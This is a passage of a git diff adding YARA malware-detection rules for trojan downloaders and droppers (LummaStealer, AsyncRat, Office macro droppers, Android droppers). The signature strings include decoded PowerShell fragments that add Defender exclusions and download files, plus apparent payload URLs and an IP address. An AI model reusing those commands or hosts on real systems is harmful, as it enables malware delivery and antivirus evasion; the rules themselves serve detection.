00 2e 00 63 00 6f 00 6d 00 2f 00 72 00 69 00 63 00 6f 00 63 00 61 00 6a 00 70 00 67 00 2f 00 66 00 61 00 72 00 6d 00 61 00 63 00 2f 00 72 00 61 00 77 00 2f 00 72 00 65 00 66 00 73 00 2f 00 68 00 65 00 61 00 64 00 73 00 2f 00 6d 00 61 00 69 00 6e 00 2f 00 } //5 https://github.com/ricocajpg/farmac/raw/refs/heads/main/ + $a_01_3 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 64 00 69 00 70 00 65 00 72 00 6b 00 6c 00 61 00 2f 00 64 00 65 00 6c 00 6a 00 61 00 63 00 6b 00 2f 00 72 00 61 00 77 00 2f 00 72 00 65 00 66 00 73 00 2f 00 68 00 65 00 61 00 64 00 73 00 2f 00 6d 00 61 00 69 00 6e 00 2f 00 } //5 https://github.com/diperkla/deljack/raw/refs/heads/main/ condition: - ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*5) >=7 + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*5+(#a_01_3 & 1)*5) >=7 } \ No newline at end of file diff --git a/TrojanDownloader/Win64/LummaStealer/TrojanDownloader_Win64_LummaStealer_CCJX_MTB.yar b/TrojanDownloader/Win64/LummaStealer/TrojanDownloader_Win64_LummaStealer_CCJX_MTB.yar new file mode 100644 index 0000000000..7accd24b3d --- /dev/null +++ b/TrojanDownloader/Win64/LummaStealer/TrojanDownloader_Win64_LummaStealer_CCJX_MTB.yar @@ -0,0 +1,15 @@ + +rule TrojanDownloader_Win64_LummaStealer_CCJX_MTB{ + meta: + description = "TrojanDownloader:Win64/LummaStealer.CCJX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 00 " + + strings : + $a_01_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 22 00 41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 } //2 powershell -Command "Add-MpPreference -ExclusionPath + $a_01_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 22 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 2d 00 55 00 72 00 69 00 } //2 powershell -Command "Invoke-WebRequest -Uri + $a_01_2 = {2d 00 4f 00 75 00 74 00 46 00 69 00 6c 00 65 00 } //2 -OutFile + $a_03_3 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 73 00 6f 00 73 00 61 00 6c 00 6f 00 6c 00 6f 00 2f 00 6a 00 61 00 6d 00 62 00 65 00 72 00 2f 00 72 00 61 00 77 00 2f 00 72 00 65 00 66 00 73 00 2f 00 68 00 65 00 61 00 64 00 73 00 2f 00 6d 00 61 00 69 00 6e 00 2f 00 [0-1f] 2e 00 65 00 78 00 65 00 } //1 + $a_01_4 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 37 00 37 00 2e 00 32 00 32 00 33 00 2e 00 31 00 31 00 39 00 2e 00 38 00 35 00 2f 00 } //1 http://77.223.119.85/ + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_03_3 & 1)*1+(#a_01_4 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/TrojanDownloader/Win64/Malgent/TrojanDownloader_Win64_Malgent_NITB_MTB.yar b/TrojanDownloader/Win64/Malgent/TrojanDownloader_Win64_Malgent_NITB_MTB.yar new file mode 100644 index 0000000000..8bae4da8ac --- /dev/null +++ b/TrojanDownloader/Win64/Malgent/TrojanDownloader_Win64_Malgent_NITB_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanDownloader_Win64_Malgent_NITB_MTB{ + meta: + description = "TrojanDownloader:Win64/Malgent.NITB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {48 83 ec 20 48 8d 6c 24 ?? 48 89 d6 48 89 cf 48 8d 0d ?? ?? ?? 00 ff 15 d1 5d 06 00 48 85 c0 74 20 48 8d 15 ?? ?? ?? 00 48 89 c1 ff 15 c4 5d 06 00 48 85 c0 4c 8d 05 ?? ?? ?? 00 4c 0f 45 c0 eb 07 4c 8d 05 ?? ?? ?? 00 4c 89 05 ?? ?? ?? ?? 48 89 f9 48 89 f2 48 83 c4 20 } //2 + $a_01_1 = {63 6d 37 34 33 33 36 2e 74 77 31 2e 72 75 2f 63 61 6c 63 2e 65 78 65 63 61 6c 63 2e 65 78 65 73 72 63 } //3 cm74336.tw1.ru/calc.execalc.exesrc + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/TrojanDownloader/Win64/Snojan/TrojanDownloader_Win64_Snojan_ARA_MTB.yar b/TrojanDownloader/Win64/Snojan/TrojanDownloader_Win64_Snojan_ARA_MTB.yar new file mode 100644 index 0000000000..b97bd8014f --- /dev/null +++ b/TrojanDownloader/Win64/Snojan/TrojanDownloader_Win64_Snojan_ARA_MTB.yar @@ -0,0 +1,11 @@ + +rule TrojanDownloader_Win64_Snojan_ARA_MTB{ + meta: + description = "TrojanDownloader:Win64/Snojan.ARA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8d 48 13 30 4c 14 48 ff c0 48 63 d0 48 83 fa 0d 72 ee } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/TrojanDownloader/Win64/Tedy/TrojanDownloader_Win64_Tedy_NITA_MTB.yar b/TrojanDownloader/Win64/Tedy/TrojanDownloader_Win64_Tedy_NITA_MTB.yar new file mode 100644 index 0000000000..42313b041d --- /dev/null +++ b/TrojanDownloader/Win64/Tedy/TrojanDownloader_Win64_Tedy_NITA_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanDownloader_Win64_Tedy_NITA_MTB{ + meta: + description = "TrojanDownloader:Win64/Tedy.NITA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {33 d2 ff 15 70 e5 1d 00 48 8b f8 48 85 c0 74 14 8b d5 48 8b c8 ff 15 8d e5 1d 00 48 8b cf ff 15 24 e5 1d 00 48 83 7b 18 07 4c 8b c3 76 03 4c 8b 03 48 8d 15 78 7b 23 00 48 8d 8c 24 f0 02 00 00 e8 b3 f0 ff ff 48 8d 84 24 f0 02 00 00 c7 44 24 30 70 00 00 00 48 8d 4c 24 30 48 89 44 24 50 c7 44 24 34 40 00 00 00 4c 89 74 24 38 4c 89 7c 24 40 4c 89 64 24 48 4c 89 74 24 58 44 89 74 24 60 ff 15 0a e6 1d 00 85 c0 } //2 + $a_01_1 = {4c 8d 3d 3f 7c 23 00 4c 8d 25 78 7c 23 00 33 d2 b9 02 00 00 00 41 8b f6 ff 15 f8 e5 1d 00 48 8b f8 48 83 f8 ff 0f 84 47 01 00 00 48 8d 94 24 b0 00 00 00 c7 84 24 b0 00 00 00 38 02 00 00 48 8b c8 ff 15 af e5 1d 00 85 c0 0f 84 1a 01 00 00 48 83 7b 18 07 48 8b d3 76 03 48 8b 13 48 8d 8c 24 dc 00 00 00 e8 55 ab 1a 00 85 c0 74 17 48 8d 94 24 b0 00 00 00 48 8b cf ff 15 80 e5 1d 00 85 c0 75 cd } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/TrojanDropper/AndroidOS/SAgnt/TrojanDropper_AndroidOS_SAgnt_R_MTB.yar b/TrojanDropper/AndroidOS/SAgnt/TrojanDropper_AndroidOS_SAgnt_R_MTB.yar new file mode 100644 index 0000000000..2abee487c9 --- /dev/null +++ b/TrojanDropper/AndroidOS/SAgnt/TrojanDropper_AndroidOS_SAgnt_R_MTB.yar @@ -0,0 +1,14 @@ + +rule TrojanDropper_AndroidOS_SAgnt_R_MTB{ + meta: + description = "TrojanDropper:AndroidOS/SAgnt.R!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {14 c1 04 91 e0 03 14 aa b5 a3 02 d1 ea 69 fe 97 40 01 80 52 e1 03 14 aa 0f 68 fe 97 b8 db 36 a9 b7 e7 35 a9 a1 02 40 ad a0 23 02 d1 e2 03 03 91 e1 03 13 aa e1 03 06 ad 1b 69 fe 97 a0 83 57 f8 fd 68 fe 97 c0 00 00 90 00 80 08 91 e1 03 1f 2a e2 03 1f 2a b4 6b fe 97 a2 83 57 f8 c1 00 00 90 21 50 09 91 40 00 80 52 } //2 + $a_01_1 = {c6 10 63 f7 5d d3 5d ab 6c d4 5d ab 6c 1f 55 0a 4e d7 5d ab 6c 06 10 db 23 ac 92 cb 41 d7 5d ab 6c 30 12 54 b7 f4 88 ab f4 d8 5d ab 6c 7f bc c0 2b d8 5d ab 6c a5 76 c9 48 40 bc 4d 6a dc 0d a6 78 8b 7f 97 9a fd bc 5e ea 4b 26 43 a6 19 f4 03 32 95 1d 22 73 44 d2 7e 2e 47 0b 1a 6c 53 5e 72 dd d5 4e 25 9e 45 bd 19 7b b1 56 11 93 ba 5b 8a b8 3f ce ed ea 4f 8c ee 75 35 76 e9 68 29 ac a6 40 66 23 2a 48 c5 35 f4 e1 1b c5 97 ca 33 bd 8c 66 f9 4c 0c a4 cb 3f 7b 81 17 62 b5 86 14 55 e1 5e df 2d e3 88 45 83 ae 78 14 b0 c6 f9 7d f3 83 9a 11 52 36 36 cd a8 87 f9 bf 3e bb 6f 35 56 cd f4 28 10 d3 7d ef 33 05 b0 f0 33 05 b0 12 89 9b 9d e9 9f b4 76 8e e3 } //2 + $a_01_2 = {a0 64 f5 63 aa 62 73 d7 80 83 97 a3 40 c9 b5 16 2b 3d ee f0 95 47 01 81 f0 c1 43 18 2b 3d ee 4f 91 61 4b 1b 2b 3d ee 1a 2b 3d ee 2b 5e fd 56 73 19 b3 7b fe cd 2a 25 44 32 7a 70 97 8d a9 0f 8d c3 72 dc 21 2b 3d ee 23 2b 3d ee 40 66 02 88 54 74 e2 d4 3b 08 36 c1 6d 23 41 8d 7f 6c 90 b7 28 2b 3d ee 47 b4 33 dc e3 c4 e6 c5 f0 da 10 18 2d 2b 3d ee 2e 2b 3d ee 09 27 eb b2 } //1 + $a_01_3 = {30 00 31 00 33 00 35 00 37 00 6b 00 54 00 44 00 46 00 58 00 57 00 55 00 48 00 4a 00 50 00 3b 00 4b 00 23 00 6a 00 51 00 47 00 } //1 01357kTDFXWUHJP;K#jQG + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/TrojanDropper/AndroidOS/SAgnt/TrojanDropper_AndroidOS_SAgnt_T_MTB.yar b/TrojanDropper/AndroidOS/SAgnt/TrojanDropper_AndroidOS_SAgnt_T_MTB.yar new file mode 100644 index 0000000000..a61bbc9db3 --- /dev/null +++ b/TrojanDropper/AndroidOS/SAgnt/TrojanDropper_AndroidOS_SAgnt_T_MTB.yar @@ -0,0 +1,13 @@ + +rule TrojanDropper_AndroidOS_SAgnt_T_MTB{ + meta: + description = "TrojanDropper:AndroidOS/SAgnt.T!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {37 5f 6a 63 6c 61 73 73 50 31 30 5f 6a 6d 65 74 68 6f 64 49 44 7a 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6b 30 00 5f 5f 73 74 72 63 61 74 5f 63 68 6b 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6b 31 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6b 33 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6b 32 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6f 31 00 5f 5a 4e 37 5f 4a 4e 49 45 6e 76 32 30 43 61 6c 6c 53 } //2 + $a_01_1 = {e5 93 fd 8a 6f c6 fe 8a 6f c6 da 8a 6f c6 3d 8b 6f c6 7c 14 b7 a7 78 0c de e5 3e 8b 6f c6 3f 8b 6f c6 d4 d6 b4 c6 32 91 45 0b 16 5b 0b 71 00 fe 5d c2 3f 8b 6f c6 4e 92 22 e1 6c e6 60 94 40 8b 6f c6 39 8b 6f c6 ce 2e fc 37 fa 8a 6f c6 80 8b 6f c6 b0 0b b8 0c c6 ff 28 fd 40 8b 6f c6 e3 23 82 8e d4 47 78 91 ce d6 87 0a fd 8a 6f c6 00 5f 5f 63 78 61 5f 66 69 6e 61 6c 69 7a 65 00 5f 5f 63 78 61 5f 61 74 65 78 69 74 00 5f 5f 72 65 67 69 73 74 65 72 5f } //1 + $a_01_2 = {6f 64 45 50 37 5f 6a 63 6c 61 73 73 50 31 30 5f 6a 6d 65 74 68 6f 64 49 44 7a 00 4a 61 76 61 5f 6b 5f 77 7a 5f 68 73 00 4a 61 76 61 5f 6b 5f 77 7a 5f 68 73 32 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6d 30 00 66 6f 70 65 6e 00 66 77 72 69 74 65 00 66 63 6c 6f 73 65 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6d 31 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6d 32 00 5f 5a 4e 37 5f 4a 4e 49 45 6e 76 31 33 43 61 6c 6c } //1 摯偅強捪慬獳ㅐ弰浪瑥潨䥤穄䨀癡彡彫穷桟s慊慶歟睟彺獨2慊慶歟睟彺ね昀灯湥昀牷瑩e捦潬敳䨀癡彡彫穷浟1慊慶歟睟彺㉭开乚強乊䕉癮㌱慃汬 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/TrojanDropper/AndroidOS/SAgnt/TrojanDropper_AndroidOS_SAgnt_U_MTB.yar b/TrojanDropper/AndroidOS/SAgnt/TrojanDropper_AndroidOS_SAgnt_U_MTB.yar new file mode 100644 index 0000000000..9759b9a405 --- /dev/null +++ b/TrojanDropper/AndroidOS/SAgnt/TrojanDropper_AndroidOS_SAgnt_U_MTB.yar @@ -0,0 +1,13 @@ + +rule TrojanDropper_AndroidOS_SAgnt_U_MTB{ + meta: + description = "TrojanDropper:AndroidOS/SAgnt.U!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {21 46 32 46 00 96 17 f0 68 ea 01 98 17 f0 96 ee 0a 48 00 21 00 22 78 44 17 f0 98 ee 08 49 02 20 01 9a 79 44 } //2 + $a_01_1 = {78 58 2c 6f cf f8 cb 3e 1a 8a b9 50 af 65 0a 0b 2e d5 20 50 76 a5 48 fd 86 35 85 13 8c 17 6d 99 1e 6d fc a4 ca 49 d4 62 41 94 a4 36 24 1d 04 50 a9 c8 67 c8 9d 7b 87 36 6a b0 b8 8e 1c 42 23 b3 0c 8a 1f c5 c4 24 53 1d 5f 4a 2e b6 a8 } //1 + $a_01_2 = {34 27 13 93 2f e9 9b 13 33 74 a0 7d 7c 80 34 94 58 27 51 0a b2 9b bc 37 86 d6 5b e4 47 bb 69 5f d3 8b 87 63 95 32 16 90 91 42 ec 6a 5b 78 0c a0 b4 99 04 25 f7 b4 7b 29 4f 74 f6 da 63 60 2b 1e ed 21 d9 5f eb 9e 50 76 9a 02 38 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/TrojanDropper/AndroidOS/SAgnt/TrojanDropper_AndroidOS_SAgnt_V_MTB.yar b/TrojanDropper/AndroidOS/SAgnt/TrojanDropper_AndroidOS_SAgnt_V_MTB.yar new file mode 100644 index 0000000000..497562ba68 --- /dev/null +++ b/TrojanDropper/AndroidOS/SAgnt/TrojanDropper_AndroidOS_SAgnt_V_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanDropper_AndroidOS_SAgnt_V_MTB{ + meta: + description = "TrojanDropper:AndroidOS/SAgnt.V!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {0d 00 71 10 8c 01 00 00 29 00 43 ff 71 10 3b 00 0d 00 71 10 39 00 0d 00 0c 00 71 10 79 00 00 00 0c 00 71 10 70 03 00 00 71 10 3d 00 0d 00 0c 00 1f 00 52 00 71 10 8b 01 00 00 0c 01 71 10 60 00 01 00 0a 00 38 00 25 ff 71 10 6f 02 01 00 0c 00 1f 00 22 00 71 10 6d 00 00 00 28 f1 } //1 + $a_01_1 = {0c 08 71 20 70 02 87 00 0c 07 71 00 42 00 00 00 0c 08 71 00 ad 03 00 00 0c 09 71 10 3e 00 09 00 0a 09 14 0a 54 b4 1a 00 71 00 77 02 00 00 0c 0b 71 10 3e 00 0b 00 0a 0b b7 ba 14 0b 25 a7 1a 00 71 00 5a 00 00 00 0c 0c 71 10 3e 00 0c 00 0a 0c b7 cb 14 0c e3 a7 1a 00 b7 c9 71 40 44 00 a8 9b 0c 08 71 20 70 02 87 00 0c 07 71 10 ac 01 07 00 0c 07 70 30 e4 00 65 07 71 10 2a 02 00 00 0c 00 71 20 74 02 30 00 0c 00 71 10 79 00 05 00 0c 06 71 20 7e 02 60 00 71 10 3d 00 0d 00 0c 00 71 20 bd 02 50 00 d8 00 01 01 01 01 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanDropper/BAT/AsyncRat/TrojanDropper_BAT_AsyncRat_NITA_MTB.yar b/TrojanDropper/BAT/AsyncRat/TrojanDropper_BAT_AsyncRat_NITA_MTB.yar new file mode 100644 index 0000000000..5a9bc6fdc8 --- /dev/null +++ b/TrojanDropper/BAT/AsyncRat/TrojanDropper_BAT_AsyncRat_NITA_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanDropper_BAT_AsyncRat_NITA_MTB{ + meta: + description = "TrojanDropper:BAT/AsyncRat.NITA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {02 8e 69 8d 10 00 00 01 0a 16 0b 2b 13 06 07 02 07 91 03 07 03 8e 69 5d 91 61 d2 9c 07 17 58 0b 07 02 8e 69 32 e7 06 2a } //2 + $a_03_1 = {7e 01 00 00 04 28 ?? 00 00 06 13 0d 28 ?? 00 00 0a 13 0e 11 0e 72 87 00 00 70 28 ?? 00 00 0a 13 15 12 15 fe 16 16 00 00 01 6f 19 00 00 0a 11 0b 16 6f 1a 00 00 0a 28 ?? 00 00 0a 28 ?? 00 00 0a 13 0f 11 0f 11 0d 28 ?? 00 00 0a 11 0f 28 ?? 00 00 0a 26 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/TrojanDropper/BAT/Zusy/TrojanDropper_BAT_Zusy_NITF_MTB.yar b/TrojanDropper/BAT/Zusy/TrojanDropper_BAT_Zusy_NITF_MTB.yar new file mode 100644 index 0000000000..5e250d6130 --- /dev/null +++ b/TrojanDropper/BAT/Zusy/TrojanDropper_BAT_Zusy_NITF_MTB.yar @@ -0,0 +1,14 @@ + +rule TrojanDropper_BAT_Zusy_NITF_MTB{ + meta: + description = "TrojanDropper:BAT/Zusy.NITF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 00 " + + strings : + $a_03_0 = {22 00 00 0a 6f ?? 00 00 0a 0a 1d 28 ?? 00 00 0a 06 28 ?? 00 00 0a 28 ?? 00 00 0a 0b 07 28 ?? 00 00 0a 2d 10 06 07 17 28 ?? 00 00 0a 07 18 28 ?? 00 00 06 26 7e 28 00 00 0a 72 2b 02 00 70 17 6f ?? 00 00 0a 0c } //2 + $a_01_1 = {14 13 10 73 16 00 00 06 13 11 28 16 00 00 0a 0a 28 2e 00 00 0a 72 09 03 00 70 28 13 00 00 0a 0b 11 11 06 07 28 17 00 00 0a 7d 07 00 00 04 7e 05 00 00 04 2c 16 72 13 03 00 70 11 11 7b 07 00 00 04 28 13 00 00 0a 28 09 00 00 06 } //1 + $a_01_2 = {2c 0a 72 c5 03 00 70 28 09 00 00 06 08 02 6f 32 00 00 0a 0d 7e 05 00 00 04 2c 1c 72 ef 03 00 70 09 8e 69 8c 20 00 00 01 72 07 04 00 70 28 33 00 00 0a 28 09 00 00 06 11 11 7b 07 00 00 04 09 28 34 00 00 0a 7e 05 00 00 04 2c 0e 11 11 7b 07 00 00 04 16 28 06 00 00 06 26 } //2 + $a_01_3 = {11 11 7b 07 00 00 04 28 35 00 00 0a 13 04 72 15 04 00 70 28 09 00 00 06 16 13 05 2b 69 1a 8d 01 00 00 01 13 12 11 12 16 72 59 04 00 70 a2 11 12 17 11 05 17 58 8c 20 00 00 01 a2 11 12 18 72 69 04 00 70 a2 11 12 19 11 04 11 05 9a 6f 36 00 00 0a 1f 64 30 07 11 04 11 05 9a 2b 17 11 04 11 05 9a 16 1f 64 6f 37 00 00 0a 72 6f 04 00 70 28 13 00 00 0a a2 11 12 28 38 00 00 0a 28 09 00 00 06 11 05 17 58 13 05 11 05 19 11 04 8e 69 28 39 00 00 0a 32 89 } //2 + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/TrojanDropper/O97M/Obfuse/TrojanDropper_O97M_Obfuse_SLA_MTB.yar b/TrojanDropper/O97M/Obfuse/TrojanDropper_O97M_Obfuse_SLA_MTB.yar new file mode 100644 index 0000000000..4d190d7aef --- /dev/null +++ b/TrojanDropper/O97M/Obfuse/TrojanDropper_O97M_Obfuse_SLA_MTB.yar @@ -0,0 +1,16 @@ + +rule TrojanDropper_O97M_Obfuse_SLA_MTB{ + meta: + description = "TrojanDropper:O97M/Obfuse.SLA!MTB,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_03_0 = {3d 20 45 6e 76 69 72 6f 6e 28 22 50 52 4f 47 52 41 4d 44 41 54 41 22 29 20 26 20 22 5c [0-1f] 22 0d 0a 20 20 20 20 49 66 20 44 69 72 28 [0-0f] 2c 20 76 62 44 69 72 65 63 74 6f 72 79 29 20 3d 20 22 22 20 54 68 65 6e } //1 + $a_01_1 = {44 6f 20 57 68 69 6c 65 20 75 69 6b 6a 68 6e 6d 74 2e 56 61 6c 75 65 20 3c 3e 20 22 22 } //1 Do While uikjhnmt.Value <> "" + $a_01_2 = {53 65 74 20 75 69 6b 6a 68 6e 6d 74 20 3d 20 75 69 6b 6a 68 6e 6d 74 2e 4f 66 66 73 65 74 28 31 2c 20 30 29 } //1 Set uikjhnmt = uikjhnmt.Offset(1, 0) + $a_03_3 = {53 68 65 6c 6c 20 [0-1f] 2c 20 76 62 4e 6f 72 6d 61 6c 46 6f 63 75 73 } //1 + $a_03_4 = {53 65 74 20 [0-0f] 20 3d 20 53 68 65 65 74 73 28 22 [0-0f] 22 29 2e 52 61 6e 67 65 28 22 [0-03] 22 29 } //1 + $a_01_5 = {2e 53 61 76 65 54 6f 46 69 6c 65 20 79 6a 6b 74 62 79 74 2c 20 32 } //1 .SaveToFile yjktbyt, 2 + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/TrojanDropper/O97M/Obfuse/TrojanDropper_O97M_Obfuse_SLB_MTB.yar b/TrojanDropper/O97M/Obfuse/TrojanDropper_O97M_Obfuse_SLB_MTB.yar new file mode 100644 index 0000000000..3b08495907 --- /dev/null +++ b/TrojanDropper/O97M/Obfuse/TrojanDropper_O97M_Obfuse_SLB_MTB.yar @@ -0,0 +1,13 @@ + +rule TrojanDropper_O97M_Obfuse_SLB_MTB{ + meta: + description = "TrojanDropper:O97M/Obfuse.SLB!MTB,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {2e 52 75 6e 4f 6e 6c 79 49 66 4e 65 74 77 6f 72 6b 41 76 61 69 6c 61 62 6c 65 20 3d 20 28 4c 65 6e 28 66 66 66 31 61 37 35 35 61 62 37 66 37 66 38 39 61 64 66 38 35 65 61 62 34 61 38 30 30 39 31 35 29 20 3d 20 43 49 6e 74 28 53 74 72 52 65 76 65 72 73 65 28 41 73 63 28 52 69 67 68 74 28 66 66 66 31 61 37 35 35 61 62 37 66 37 66 38 39 61 64 66 38 35 65 61 62 34 61 38 30 30 39 31 35 2c 20 31 29 29 20 2d 20 53 74 72 28 4d 69 64 28 66 66 66 31 61 37 35 35 61 62 37 66 37 66 38 39 61 64 66 38 35 65 61 62 34 61 38 30 30 39 31 35 2c 20 31 34 2c 20 31 29 29 29 29 29 } //1 .RunOnlyIfNetworkAvailable = (Len(fff1a755ab7f7f89adf85eab4a800915) = CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))) + $a_01_1 = {3d 20 52 65 70 6c 61 63 65 28 62 62 66 31 61 37 35 35 61 62 37 66 37 66 38 39 61 64 66 39 35 65 31 61 64 32 66 65 34 61 38 30 30 39 31 35 28 28 41 73 63 28 4d 69 64 28 52 69 67 68 74 28 66 66 66 31 61 37 35 35 61 62 37 66 37 66 38 39 61 64 66 38 35 65 61 62 34 61 38 30 30 39 31 35 2c 20 32 29 2c 20 31 2c 20 31 29 29 20 2d 20 41 73 63 28 4d 69 64 28 52 69 67 68 74 28 66 66 66 31 61 37 35 35 61 62 37 66 37 66 38 39 61 64 66 38 35 65 61 62 34 61 38 30 30 39 31 35 2c 20 33 29 2c 20 31 2c 20 31 29 29 29 } //1 = Replace(bbf1a755ab7f7f89adf95e1ad2fe4a800915((Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1))) + $a_01_2 = {3d 20 62 32 31 31 61 63 35 35 61 62 37 66 36 38 39 61 64 66 35 30 61 64 31 61 61 34 61 38 31 32 39 31 36 20 58 6f 72 20 26 48 43 30 30 30 30 30 30 30 20 58 6f 72 20 62 32 31 31 61 63 35 35 61 62 37 66 36 38 39 61 64 66 35 30 61 64 31 61 61 34 61 38 31 30 39 31 36 38 20 58 6f 72 20 62 32 31 31 61 63 35 35 61 62 37 66 36 38 39 61 64 66 35 30 61 64 31 61 61 34 61 38 31 31 39 31 36 38 3a } //1 = b211ac55ab7f689adf50ad1aa4a812916 Xor &HC0000000 Xor b211ac55ab7f689adf50ad1aa4a8109168 Xor b211ac55ab7f689adf50ad1aa4a8119168: + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/TrojanDropper/Win32/Qhost/TrojanDropper_Win32_Qhost_GP.yar b/TrojanDropper/Win32/Qhost/TrojanDropper_Win32_Qhost_GP.yar index f26d3c0c1e..d138daba5c 100644 --- a/TrojanDropper/Win32/Qhost/TrojanDropper_Win32_Qhost_GP.yar +++ b/TrojanDropper/Win32/Qhost/TrojanDropper_Win32_Qhost_GP.yar @@ -7,7 +7,7 @@ rule TrojanDropper_Win32_Qhost_GP{ $a_11_0 = {34 5c 6b 75 34 75 71 74 2e 6a 70 67 01 } //1 $a_30_1 = {5c 69 31 2e 65 78 65 01 00 0b 11 30 34 5c 74 65 73 } //2304 $a_61_2 = {01 00 08 11 30 31 5c 6f 6c 6f 6c 6f 00 00 5d 04 00 00 4c a0 02 80 5c 22 00 00 4d a0 02 80 00 00 01 00 1e 00 0c 00 d0 21 50 64 66 6a 73 63 2e 41 42 46 00 00 01 40 05 82 59 00 04 00 80 10 00 00 e0 b5 b6 ff 54 e3 e2 e4 76 c3 9f 1e 00 10 00 80 5d 04 00 00 4d a0 02 80 5c 27 00 00 4e a0 02 80 00 00 } //11892 - $a_00_3 = {11 00 d0 21 43 56 45 2d 32 30 31 30 2d 32 38 38 33 2e 43 00 00 08 40 05 82 59 00 04 00 29 } //1 + $a_00_3 = {11 00 d0 21 43 56 45 2d 32 30 31 30 2d 32 38 38 33 2e 43 00 00 02 40 05 82 59 00 04 00 29 } //1 condition: ((#a_11_0 & 1)*1+(#a_30_1 & 1)*2304+(#a_61_2 & 1)*11892+(#a_00_3 & 1)*1) >=4 diff --git a/TrojanDropper/Win32/Systex/TrojanDropper_Win32_Systex_AST_MTB.yar b/TrojanDropper/Win32/Systex/TrojanDropper_Win32_Systex_AST_MTB.yar new file mode 100644 index 0000000000..f6bc72b4ef --- /dev/null +++ b/TrojanDropper/Win32/Systex/TrojanDropper_Win32_Systex_AST_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanDropper_Win32_Systex_AST_MTB{ + meta: + description = 